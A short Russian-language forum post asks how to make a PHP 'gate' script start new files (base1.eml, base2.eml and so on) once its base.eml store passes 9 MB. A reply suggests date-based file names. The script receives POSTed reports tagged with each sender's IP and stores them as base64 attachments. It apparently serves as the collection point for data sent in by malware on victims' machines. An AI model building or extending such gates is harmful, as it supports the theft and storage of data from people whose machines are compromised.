Пмогите пожалуйсто. Этот гэйт сохроняет отчеты в письмо base.eml (этакая база данных) как мне сделать чтоб скрипт при размере файла (base.eml)9мб продолжал запись в base1.eml base2.eml base3.eml base4.eml и т.д. Спасибо за внемание PHP: <? $ip=getenv("REMOTE_ADDR"); $email=$_POST['a']; $subject=$_POST['b']."(".$ip.")"; $msg=$_POST['c']; if ($msg<>''){ $tmp = $msg; $msg=eregi_replace(" ","+",$tmp); $var = $ip . " - " . rand(0,9) . rand(0,9) . rand(0,9) . ".bin"; $var2 = "\n\n"; $headers = "--NextPart\n"; $headers .= "Content-Type: application/octet-stream; name=\"".$var."\"\n"; $headers .= "Content-Transfer-Encoding: base64\n"; $headers .= "Content-Disposition: attachment; filename=\"".$var."\"\n\n"; @$pfp1 = fopen('base.eml', "r" ); $ds=@fread ($pfp1, filesize('base.eml')); @fclose($pfp1); @$pfp1 = fopen('base.eml', "w+" ); @fputs ($pfp1, $ds); @fputs ($pfp1, $var2); @fputs ($pfp1, $headers); @fputs ($pfp1, $msg); @fclose($pfp1); }; ?> <!-- REQUIRED --> <script language="JavaScript"> window.status = "_ret_ok_1"; </script></body></html>
А не легче ли сделать имя файла зависимым от даты? http://forum.blacklogic.net/index.php?showtopic=1013